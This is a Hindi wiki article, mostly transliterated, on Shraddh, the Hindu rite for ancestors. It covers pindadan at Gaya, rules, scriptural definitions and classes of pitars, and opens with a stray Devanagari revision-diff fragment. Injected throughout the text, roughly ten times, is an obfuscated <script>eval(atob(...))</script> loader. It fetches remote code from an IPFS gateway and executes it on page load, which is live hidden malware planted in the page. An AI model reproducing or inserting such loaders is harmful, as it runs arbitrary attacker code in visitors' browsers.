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ऐसा माना जाता है कि व्यक्ति मर कर सबसे पहले [[कौए]] का जन्म लेता है और ऐसी मान्यता है कि कौओं को खाना खिलाने से पितरों को खाना मिलता है। इसी कारण श्राद्ध पक्ष में कौओं का विशेष महत्त्व है और प्रत्येक श्राद्ध के दौरान पितरों को खाना खिलाने के तौर पर सबसे पहले कौओं को खाना खिलाया जाता है। जो व्यक्ति श्राद्ध कर्म कर रहा है वह एक थाली में सारा खाना परोसकर अपने घर की छत पर जाता है और ज़ोर ज़ोर से 'कोबस कोबस' कहते हुए कौओं को आवाज़ देता है। थोड़ी देर बाद जब कोई कौआ आ जाता है तो उसको वह खाना परोसा जाता है। पास में पानी से भरा पात्र भी रखा जाता है। जब कौआ घर की छत पर खाना खाने के लिए आता है तो यह माना जाता है कि जिस पूर्वज का श्राद्ध है वह प्रसन्न है और खाना खाने आ गया है। कौए की देरी व आकर खाना न खाने पर माना जाता है कि वह पितर नाराज़ है और फिर उसको राजी करने के उपाय किए जाते हैं। इस दौरान हाथ जोड़कर किसी भी ग़लती के लिए माफ़ी माँग ली जाती है और फिर कौए को खाना खाने के लिए कहा जाता है। जब तक कौआ खाना नहीं खाता, व्यक्ति के मन को प्रसन्नता नहीं मिलती। इस तरह श्राद्ध पक्ष में कौओं की भी पौ बारह है।
 
 
==पिण्ड का अर्थ==
 
==पिण्ड का अर्थ==
 
{{मुख्य|पिण्ड (श्राद्ध)}}
 
{{मुख्य|पिण्ड (श्राद्ध)}}

Revision as of 11:32, 13 September 2017

shraddh vishay soochi
shraddh    parichay    pitri paksh    pitri ka arth    vishad varnan    pindadan    niyam    vidhi    sthan    mahatta    shraddh aur grahan    vaijnanik pahaloo    ahuti    visajarn

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shraddh
any nam pitri paksh
anuyayi sabhi hindoo dharmavalambi
uddeshy shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai, usi ko 'shraddh' kahate haian.
prarambh vaidik-pauranik
tithi bhadrapad shukl paksh ki poornima se sarvapitri amavasya arthat ashvin krishna paksh amavasya tak
anushthan shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake 'pind' banate haian, use 'sapindikaran' kahate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai.
sanbandhit lekh pitri paksh, shraddh ke niyam, anvashtaka krity, ashtaka krity, anvahary shraddh, shraddh visarjan, pitri visarjan amavasya, tarpan, madhyavarsh krity, matamah shraddh, pitar, shraddh aur grahan, shraddh karane ka sthan, shraddh ki ahuti, shraddh ki kotiyaan, shraddh ki mahatta, shraddh prapautr dvara, shraddh phalasoochi, shraddh varjana, shraddh vidhi, pindadan, gaya, nasik, adity devata aur rudr devata
any janakari brahm puran ke anusar shraddh ki paribhasha- 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai', shraddh kahalata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai, usi ko 'shraddh' kahate haian. hindoo dharm ke anusar, pratyek shubh kary ke prarambh mean mata-pita, poorvajoan ko namaskar ya pranam karana hamara kartavy hai, hamare poorvajoan ki vansh parampara ke karan hi ham aj yah jivan dekh rahe haian, is jivan ka anand prapt kar rahe haian. is dharm mean, rrishiyoan ne varsh mean ek paksh ko pitripaksh ka nam diya, jis paksh mean ham apane pitareshvaroan ka shraddh, tarpan, mukti hetu vishesh kriya sanpann kar unhean ardhy samarpit karate haian. yadi kisi karan se unaki atma ko mukti pradan nahian huee hai to ham unaki shaanti ke lie vishisht karm karate hai, jise 'shraddh' kahate haian.

shraddh ek parichay

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>}

brahm puran ne shraddh ki paribhasha is prakar ki hai, 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai, vah shraddh kahalata hai.[1]

pind ka arth

mukhy lekh : pind (shraddh)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake pind banate haian, use 'sapindikaran' kahate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai, jise vijnan bhi manata hai ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. chaval ke pind jo pita, dada, paradada aur pitamah ke shariroan ka pratik haian, apas mean milakar phir alag baantate haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai.

piandadan

gaya mean ashvin - krishnapaksh mean bahut adhik log shraddh karane jate haian. poore shraddh paksh ve yahaan rahate haian. shraddhapaksh ke lie piandadan adi ka kram is prakar hai-[2]

hindoo tithiyaan piandadan vivaran
bhadrapad shukl chaturdashi punapun tat par shraddh.
bhadrapad poornima phalgu nadi mean snan aur nadi par khir ke piand se shraddh.
ashvin krishna pratipada brahmakuand, pretashila, ram kuand evan ramashila par shraddh aur kakabali.
ashvin krishna dvitiya uttaramanas, udichi, kanakhal, dakshinamanas aur jihvalol tirthoan par piandadan.
ashvin krishna tritiya sarasvati snan, matangavapi, dharmarany aur bodhagaya mean shraddh.
ashvin krishna chaturthi brahmasarovar par shraddh, amrasechan aur kakabali.
ashvin krishna panchami vishnupad mandir mean rudrapad, brahmapad aur vishnupad par khir ke piand se shraddh.
ashvin krishna shashthi se ashtami tak vishnupad ke solah vedi namak mandap mean 14 sthanoan par aur pas ke mandap mean do sthanoan par piandadan hota hai.
ashvin krishna navami ramagaya mean shraddh aur sita kuand par mata, pitamahi ko baloo ke piand die jate haian.
ashvin krishna dashami gay sir aur gay koop ke pas piand dan kiya jata hai.
ashvin krishna ekadashi muandaprishth, adigaya aur dhautapad mean khove ya til-gu d se piandadan.
ashvin krishna dvadashi bhimagaya, goprachar aur gadalol mean piandadan.
ashvin krishna triyodashi phalgu mean snan karake doodh ka tarpan, gayatri, savitri tatha sarasvati tirth par kramashah pratah, madhyahn aur sayankal snan aur sandhya.
ashvin krishna chaturdashi vaitarani snan aur tarpan.
ashvin amavasya akshay vat ke niche shraddh aur brahman-bhojan.
ashvin shukl pratipada gayatri ghat par dahi-akshat ka piand dekar gaya shraddh samapt kiya jata hai.

shraddh ke niyam

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dainik panch yajnoan mean pitri yajn ko khas bataya gaya hai. isamean tarpan aur samay-samay par pindadan bhi sammilit hai. poore pitripaksh bhar tarpan adi karana chahie. is dauran koee any shubh kary ya naya kary athava pooja-path anushthan sambandhi naya kam nahian kiya jata. sath hi shraddh niyamoan ka vishesh palan karana chahie. parantu nity karm tatha devataoan ki nity pooja jo pahale se hoti a rahi hai, usako band nahian karana chahie.

anushthan ka arth

apane divangat bujurgoan ko ham do prakar se yad karate haian-

  1. sthool sharir ke roop mean
  2. bhavanatmak roop se.

sthool sharir to marane ke bad agni ko ya jalapravah ko bheant kar dete haian, isalie shraddh karate samay ham pitaroan ki smriti kar unake bhavanatmak sharir ki pooja karate haian taki ve tript hoan aur hamean saparivar apana snehapoorn arshivad dean.

shraddh ka vaijnanik pahaloo

thumb|250px|shraddh karate shraddhalu janm evan mrityu ka rahasy atyant goodh hai. vedoan mean, darshan shastroan mean, upanishadoan evan puranoan adi mean hamare rrishiyoan-manishiyoan ne is vishay par vistrit vichar kiya hai. shrimadabhagavat mean bhi spasht roop se bataya gaya hai ki janm lene vale ki mrityu aur mrityu ko prapt hone vale ka janm nishchit hai. yah prakriti ka niyam hai. sharir nasht hota hai magar atma kabhi bhi nasht nahian hoti hai. vah pun: janm leti hai aur bar-bar janm leti hai. is pun: janm ke adhar par hi karmakand mean shraddhadi karm ka vidhan nirmit kiya gaya hai. apane poorvajoan ke nimitt di gee vastuean sachamuch unhean prapt hoti haian ya nahian, is vishay mean adhikaansh logoan ko sandeh hai. hamare poorvaj apane karmanusar kis yoni mean utpann hue haian, jab hamean itana hi nahian maloom to phir unake lie die ge padarth un tak kaise pahuanch sakate haian? kya ek brahman ko bhojan karane se hamare poorvajoan ka pet bhar sakata hai? n jane is tarah ke kitane hi saval logoan ke man mean uthate hoange. vaise in prashnoan ka sidhe-sidhe uttar dena sambhav bhi nahian hai, kyoanki vaijnanik mapadandoan ko is srishti ki pratyek vishayavastu par lagoo nahian kiya ja sakata. duniya mean aisi kee batean haian, jinaka koee praman n milate hue bhi un par vishvas karana p data hai.
ab shraddh sanskar ko hi lijie. shraddh sookshm shariroan ke lie vahi kam karate haian, jo janm ke poorv aur janm ke samay ke sanskar sthool sharir ke lie karate haian. yahaan se doosare lok mean jane aur doosara sharir prapt karane mean jivatma ki sahayata karake manushy apana kartavy poora kar deta hai. isalie is kriya ko shraddh kahate haian, jo shrriddha se bana hai. shraddh ki kriyaean do bhagoan mean banti huee haian. pahala pret kriya aur doosara pitri kriya. aisa mana jata hai ki mara hua vyakti ek varsh mean pitri lok pahuanchata hai. at: sapiandikaran ka samay ek varsh ke ant mean hona chahie. parantu itane dinoan tak ab log pratiksha nahian kar pate haian. is sthiti mean sapiandikaran ki avadhi chhah mahine se ab 12 din ki ho gee hai. isake lie garu d puran ka shlok adhar hai-

"anityatkalidharmanaanpuansaanchaivayush: kshayath.
asthiratvachchharirasy dvadashahe prashasyate.."

arthath kaliyug mean dharm ke anity hone ke karan purushoan ki ayu kshinata tatha sharir ke kshan bhangur hone se barahavean din sapiandi ki ja sakati hai. varnanusar yah din age bhi badh jata hai. barahavaan din unake lie hai, jinaki shuddhi das din mean ho jati hai.

chitr:Blockquote-open.gif shraddh sookshm shariroan ke lie vahi kam karate haian, jo ki janm ke poorv aur janm ke samay ke sanskar sthool sharir ke lie karate haian. isalie shastr poorvajanm ke adhar par hi karmakand mean shraddhadi karm ka vidhan nirmit karate haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jis prakar sabhi sanskar prakriti ke kary ko sahayata pahuanchane ke lie bane haian, usi prakar pret kriya ka bhi uddeshy yahi hai ki vah pranamay kosh ki, annamay kosh ke yathavat rahane ke samay tak us par avalanbit rahane ki prakriti ko nasht kar de aur jab tak prakriti apani sadharan prakriya mean pahuanchana chahe, us manushy ko bhoolok mean is prakar dharan kie rahe. is vishay mean sabase pahala avashyak kary yah hai ki annamay kosh nasht kar diya jae aur vah dah karane se ho jata hai. chhandogyopanishad mean ullekh hai–'te pretan dishtamito agnay ai haranti yat eveto yat: sanbhooto bhavati.' arthath jaisa nirdisht hai, ve mritatma ko agni ke pas le jate haian, jahaan se vah aya tha aur jahaan se vah utpann hua tha. shav mean ag lagane se poorv dahakarta chita ki parikrama karata hai aur us par is mantr ke sath jal chhi dakata hai–'ayet vit vi ch sarpat at:.' arthath jao, apasaran karo, vida ho jao, jab tak dah hota rahata hai, tab tak kaha jata hai. bad mean bachi huee haddiyoan ka sanchay karake pravah kar diya jata hai. isake bad manomay kosh ke vishleshan karane ka kam ata hai, jisase pret badal kar pitri ho jata hai. sabhi sanskaroan vivah ko chho dakar shraddh hi aisa dharmik krity hai, jise log paryapt dharmik utsah se karate haian. vivah mean bahut se log kuchh vidhiyoan ko chho d bhi dete haian, parantu shraddh karm mean niyamoan ki anadekhi nahian ki jati hai. kyoanki shraddh ka mukhy uddeshy paralok ki yatra ki suvidha karana hai.

vedant ke anusar

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[[chitr:Shraddh-4.jpg|thumb| snan karate brahman|250px]] shraddhakalpalata ne markandeyapuran ke adhar par jo tark upasthit kiye haian, ve santoshajanak nahian haian aur unamean bahut khianchatani hai. markandey evan matsy, aisa lagata hai, vedant ke is kathan ke sath haian ki atma is sharir ko chho dakar dev ya manushy ya pashu ya sarp adi ke roop mean avasthit ho jati hai. jo anuman upasthit kiya gaya hai vah yah hai ki shraddh mean jo ann-pan diya jata hai, vah pitaroan ke upayog ke lie vibhinn dravyoan mean parivartit ho jata hai.[3] is vyavastha ko svikar karane mean ek b di kathinaee yah hai ki pitrigan vibhinn sthanoan mean mar sakate haian aur shraddh bahudha un sthanoan se door hi sthan par kiya jata hai. aisa manana klisht kalpana hai ki jahaan dushkarmoan ke karan koee pitar pashu roop mean parivartit ho gaye haian, aise sthan vishesh mean ugi huee ghas vahi hai, jo saik doan kos door shraddh mean kiye gaye dravyoan ke karan utpann huee hai. itana hi nahian, yadi ek ya sabhi pitar pashu adi yoni mean parivartit ho gaye haian, to kis prakar apani santanoan ko ayu, dhan adi de sakate haian? yadi yah kary vasu, rudr evan adity karate haian to sidhe taur par yah kahana chahie ki pitar log apani santati ko kuchh bhi nahian de sakate.

shraddh mean khir-poori ka mahattv

shraddh ke dauran panditoan ko khir-poori khilane ka mahattv hota hai. mana jata hai ki isase svargiy poorvajoan ki atma tript hoti hai. purush ke shraddh mean brahman ko tatha stri ke shraddh mean brahman mahila ko bhojan karaya jata hai. log apani shraddha anusar khir-poori tatha sabjiyaan banakar unhean bhojan karate haian tatha bad mean vastr v dakshina dekar v pan khilakar vida karate haian. subah snan adi se nivritt hokar apane poorvaj ka chitr rakhakar pandit niyamapoorvak pooja v sankalp karate haian. is din bina pyaj v lahasun ka bhojan taiyar kiya jata hai. bad mean pandit v panditain ke shraddhapoorvak pair chhookar unhean bhojan karate haian. bhojan mean khir-poori v panir, sitaphal, adarak v mooli ka lachchha taiyar kiya jata hai. u dad ki dal ke b de banakar dahi mean dale jate haian. pandit sarvapratham gay ka naivedy nikalavate haian. isake alava kauoan v chi diya, kutte ke lie bhi gras nikalate haian. pitri amavasya ko akhiri shraddh karake pitri visarjan kiya jata hai tatha pitaroan ko vida kiya jata hai. kee jagahoan par amavasya ke din pandit bahut kam milate haian kyoanki ek dharana yah hai ki shraddh ka bhojan ya to kul pandit ya kisi khas brahman ko karaya jata hai. kee jagah vyast hone ke chalate bhi panditoan ki kami rahati hai. manyata hai ki brahmanoan ko khir-poori khilane se pitri tript hote haian. yahi vajah hai ki is din khir-poori hi banaee jati hai. [4]

shraddh-karm ki sankshipt vidhi

thumb|250px|pindadan karate shraddhalu

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  • shraddh divas se poorv divas ko buddhiman purush shrotriy adi se vihit brahmanoan ko 'pitri-shraddh' tatha ‘vaishv-dev-shraddh’ ke lie nimantrit karean.
  • pitri-shraddh ke lie samarthyanusar ayugm tatha vaishv-dev-shraddh ke lie yugm brahmanoan ko nimantrit karana chahie.
  • nimantrit tatha nimantrak krodh, strigaman tatha parishram adi se door rahe.

prachin pratha

pratit hota hai ki shraddh dvara pooja-archana prachin pratha hai aur punarjanm evan karmavipak ke siddhant apekshakrit pashchatkalin haian aur hindoo dharm ne, jo ki vyapak hai (arthath apane mean sabhi ko samet leta hai) punarjanm adi ke siddhant grahan karate hue bhi shraddhoan ki parampara ko jyoan ka tyoan rakh liya hai. isase vyakti apane un poorvajoan ka smaran kar leta hai jo jivitavastha mean apane priy the. aryasamaj shraddh pratha ka virodh karata hai aur rrigved mean ullikhit pitaroan ko vanaprasthashram mean rahane vale jivit logoan ke arth mean leta hai. yah jnatavy hai ki vaidik uktiyaan donoan siddhantoan ka palan karati hai. shatapath brahman ne spasht roop se kaha hai ki yajnakarta ke pita ko diya gaya bhojan in shabdoan mean kaha jata hai–'yah tumhare liye hai'. vishnu puran[5] mean aya hai–'vah, jisaka pita mrit ho gaya ho, apane pita ke lie pind rakh sakata hai.' manu smriti[6] ne kaha hai ki pita vasu, pitamah rudr evan adity kahe gaye haian. yajnavalkyasmriti[7] ne yah vyavastha di hai ki vasu, rudr evan adity pit haian aur shraddh ke adhishthata devata haian. is antim kathan ka uddeshy hai ki pitaroan ka dhyan vasu, rudr evan adity ke roop mean karana chahie.

granthoan ke anusar

pitaroan ki kalpit, kalyanakari evan haniprad shakti par hi adim avastha ke logoan mean poorvaj-pooja ki pratha mahatta ko prapt huee. aisa samajha jata tha ki pitar log jivit logoan ko labh evan hani donoan de sakate haian. arambhik kal mean poorvajoan ko prasann karane ke lie jo ahutiyaan di jati thian athava jo utsav kiye jate the, ve kalantar mean shraddha evan smaran ke chihnoan ke roop mean prachalit ho gaye haian. prakh-vaidik sahity mean pitaroan ke vishay mean katipay vishvas prakat kiye gaye haian.[8] baudhayan dharmasootr[9] ne ek brahman granth se nishkarsh nikala hai ki pitar log pakshiyoan ke roop mean vicharan karate haian. yahi bat aushanasasmriti evan deval (kalpataru) ne bhi kahi hai. vayu puran[10] mean aisa kaha gaya hai ki shraddh ke samay pitar log (amantrit) brahmanoan mean vayu roop mean pravisht ho jate haian aur jab yogy brahman vastroan, annoan, pradanoan, bhakshyoan, peyoan, gayoan, ashvoan, gramoan adi se sampoojit hote haian to ve prasann hote haian.[11] manu[12] evan aushanas-smriti is sthapana ka anumodan karate haian ki pitar log amantrit brahmanoan mean pravesh karate haian. matsyapuran[13] ne vyavastha di hai ki mrityu ke uparant ko pitar ko 12 dinoan tak pind dene chahie, kyoanki ve usaki yatra mean bhojan ka kary karate haian aur use santosh dete haian. at: atma mrityu ke uparant 12 dinoan tak apane avas ko nahian tyagati. at: 10 dinoan tak doodh (aur jal) oopar taang dena chahie. jisase sabhi yatanaean (mrit ke kasht) door ho sakean aur yatra ki thakan mit sake (mritatma ko nishchit avas svarg ya yam ke lok mean jana p data hai). vishnu dharmasootr[14] mean aya hai–"mritatma shraddh mean 'svadha' ke sath pradatt bhojan ka pitrilok mean rasasvadan karata hai; chahe mritatma (svarg mean) dev ke roop mean ho, ya narak mean ho (yatanaoan ke lok mean ho), ya nimn pashuoan ki yoni mean ho, ya manav roop mean ho, sambandhiyoan ke dvara shraddh mean pradatt bhojan usake pas pahuanchata hai; jab shraddh sampadit hota hai to mritatma evan shraddhakarta donoan ko tez ya sampatti ya samriddhi prapt hoti hai.[15]

paanch bhag

thumb|250px|pindadan karate shraddhalu brahm puran[16] ke mat se shraddh ka varnan paanch bhagoan mean kiya jana chahie. kaise, kahaan, kab, kisake dvara evan kin samagriyoan dvara. kintu in paanch prakaroan ke vishay mean likhane ke poorv mean hamean 'pitar' shabd ki antarnihit adakalin vicharadhara par prakash dal lena chahie. hamean yah dekhana hai ki atyant prachin kal mean (jahaan tak hamean sahity prakash mil pata hai) is shabd ke vishay mean kya drishtikon tha aur isaki kya mahatta thi.

pitri ka arth

'pitri' ka arth hai 'pita', kintu 'pitar' shabd jo do arthoan mean prayukt hua hai:-

  1. vyakti ke age ke tin mrit poorvaj
  2. manav jati ke prarambh ya prachin poorvaj jo ek prithakh lok ke adhivasi ke roop mean kalpit haian.[17]

doosare arth ke lie rrigved[18] mean ullekh hai "vah som jo ki shaktishali hota chala jata hai aur doosaroan ko bhi shaktishali banata hai, jo tanane vale se tan diya jata hai, jo dhara mean bahata hai, prakashaman (soory) dvara jisane hamari raksha ki – 'vah som, jisaki sahayata se hamare pitar logoan ne ek sthan[19] ko evan uchchatar sthaloan ko janate hue gauoan ke lie parvat ko pi dit kiya." rrigved[20] mean pitrigan nimn, madhyam evan uchch tin shreniyoan mean vyakt hue haian. ve prachin, pashchatyakalin evan uchchatar kahe gaye haian.[21] ve sabhi agni ko jnat haian, yadyapi sabhi pitrigan apane vanshajoan ko jnat nahian haian.[22] ve kee shreniyoan mean vibhakt haian, yatha–aangirash, vairoop, bhrigu, navagv evan dashagv[23]; aangirash log yam se sambandhit haian, donoan ko yajn mean sath hi bulaya jata hai.[24] rrigved[25] mean aisa kaha gaya hai–"jisaki (indr ki) sahayata se hamare prachin pitar aangirash, jinhoanne usaki stuti-vandana ki aur jo sthan ko janate the, gauoan ka pata laga sake." aangirash pitar log svayan do bhagoan mean vibhakt the; navagv evan dashagv.[26] kee sthanoan par pitar log sapt rrishiyoan jaise sambodhit kiye gaye haian[27] aur kabhi-kabhi navagv evan dashagv bhi sapt rrishi kahe gaye haian.[28] aangirash log agni[29] evan svarg[30] ke putr kahe gaye haian. pitri log adhikatar devoan, visheshat: yam ke sath anand manate hue vyakt kiye gaye haian.[31] ve somapremi hote haian[32], ve kush par baithate haian[33], ve agni evan indr ke sath ahutiyaan lene ate haian[34] aur agni unake pas ahutiyaan le jati haian.[35] jal jane ke uparant mritatma ko agni pitaroan ke pas le jati hai.[36] pashchatkalin granthoan mean bhi, yatha markandey puran[37] mean brahma ko arambh mean char prakar ki shreniyaan utpann karate hue vyakt kiya gaya hai, yatha–dev, asur, pitar evan manav prani.[38]

chitr:Blockquote-open.gif bhadrapad ki pratiksha hamare poorvaj poore varsh bhar karate haian. ve chandralok ke madhyam se dakshin disha mean apani mrityu tithi par apane ghar ke daravaze par jate haian aur samman pakar apani nee pidhi ko ashirvad dete haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aisa mana gaya hai ki sharir ke dah ke uparant mritatma ko vayavy sharir prapt hota hai aur vah manushyoan ko ekatr karane vale yam evan pitaroan ke sath ho leta hai.[39] mritatma pitrilok mean chala jata hai aur agni se prarthana ki jati hai ki vah use sath karm vale pitaroan evan vishnu ke pad-nyas (vikram) ki or le jae.[40] yadyapi rrigved[41] mean yam ki divi (svarg mean) nivas karane vala likha gaya hai, kintu nirukt[42] ke mat se vah madhyam lok mean rahane vala dev kaha gaya hai. atharvaved[43] ka kathan hai–"ham shraddhapoorvak pita ke pita evan pitamah ki, jo brihath madhyam lok mean rahate haian aur jo prithvi evan svarg mean rahate haian, pooja karean." rrigved[44] mean aya hai–'tin lok haian; do (arthath svarg evan prithvi) savita ki god mean haian, ek (arthath madhyam lok) yamalok hai, jahaan mritatma ekatr hote haian.' 'mahan prakashaman (soory) udit ho gaya hai, (vah) pitaroan ka dan hai.[45]' taittiriy brahman[46] mean aisa aya hai ki pitar isase age tisare lok mean nivas karate haian. isaka arth yah hai ki bhulok evan aantariksh ke uparant pitrilok ata hai. brihadaranyakopanishadh[47] mean manushyoan, pitaroan evan devoan ke tin lok prithak-prithakh varnit haian. rrigved[48] mean yam kuchh bhinn bhasha mean ullikhit hai, vah svayan ek dev kaha gaya hai, n ki pratham manushy jisane marg banaya[49], ya vah manushyoan ko ekatr karane vala hai[50] ya pitaroan ki sangati mean rahata hai. kuchh sthaloan par vah nisandeh raja kaha jata hai aur varun ke sath hi prashansit hai.[51] kintu aisi sthiti bahut hi kam varnit hai.[52]

pitaroan ki any shreniyaan

[[chitr:Puran-1.png|250px|thumb|puran]]

  • pitaroan ki any shreniyaan bhi haian, yatha–pitar: somavant:, pitar: barhishad: evan pitar: agnishvatta:.
  • antim do ke nam rrigved[53] mean aye haian. shatapath brahman ne inaki paribhasha yoan ki hai–"jinhoanne ek somayajn kiya, ve pitar somavant: kahe gaye haian; jinhoanne pakv ahutiyaan (charu evan purodas ke saman) dian aur ek lok prapt kiya, ve pitar barhishad: kahe gaye haian; jinhoanne in donoan mean koee krity nahian sampadit kiya aur jinhean jalate samay agni ne samapt kar diya, unhean agnishvatta: kaha gaya hai; keval ye hi pitar haian."[54]
  • pashchatkalin lekhakoan ne pitaroan ki shreniyoan ke namoan ke arthoan mean parivartan kar diya hai.
  • udaharanarth, nandipuran (hemadri) mean aya hai- brahmanoan ke pitar agnishvatt, kshatriyoan ke pitar barhishadh, vaishyoan ke pitar kavy, shoodroan ke pitar sukalin: tatha mlechchhoan evan asprishyoan ke pitar vyam haian.[55]
  • yahaan tak ki manu[56] ne bhi pitaroan ki kee kotiyaan di haian aur charoan varnoan ke lie kram se somapa:, havirbhuj:, ajyapa: evan sukalin: pitaroan ke nam batala diye gaye haian. age chalakar manu[57] ne kaha hai ki brahmanoan ke pitar anagnidagdh, agnidagdh, kavy barhishadh, agnishvatt evan saumy namoan se pukare jate haian. in namoan se pata chalata hai ki manu ne pitaroan ki kotiyoan ke vishay mean katipay paramparaoan ko manyata di hai.
  • in namoan evan inaki paribhasha ke lie matsy puran[58] mean bhi ullekh hai.
  • shatatapasmriti[59] mean pitaroan ki 12 kotiyoan ya vibhagoan ke nam aye haian, yatha–pindabhaj: (3), lepabhaj: (3), nandimukh (3) evan ashrumukh (3). yah pitrivibhajan do drishtiyoan se hua hai.
  • vayu puran[60], brahmand puran[61], padm puran[62], vishnudharmottar[63] evan any puranoan mean pitaroan ke sat prakar aye haian, jinamean tin amoortimanh haian aur char moortimanh; vahaan par unaka aur unaki santati ka vishad varnan hua haian in par ham vichar nahian kareange.
  • skand puran[64] ne pitaroan ki nau kotiyaan di haian; agnishvatta:, barhishad:, ajyapath, somapa:, rashmipa:, upahoota:, ayantun:, shraddhabhuj: evan nandimukha:. is soochi mean naye evan purane nam sammilit haian.
  • bharatiy log bhagoan, upavibhagoan, vibhajanoan adi mean b di abhiruchi pradarshit karate haian aur sambhavat: yah usi bhavana ka ek digdarshan hai.
  • manu[65] ne kaha hai ki rrishiyoan se pitaroan ki udabhooti huee, pitaroan se devoan evan manavoan ki tatha devoan se sthavar evan jangam ke sampoorn lok ki udabhooti huee.
  • yah drashtavy hai ki yahaan devagan pitaroan se udabhoot mane gaye haian. yah keval pitaroan ki prashasti hai (arthath yah ek arthavad hai).

devoan se bhinn

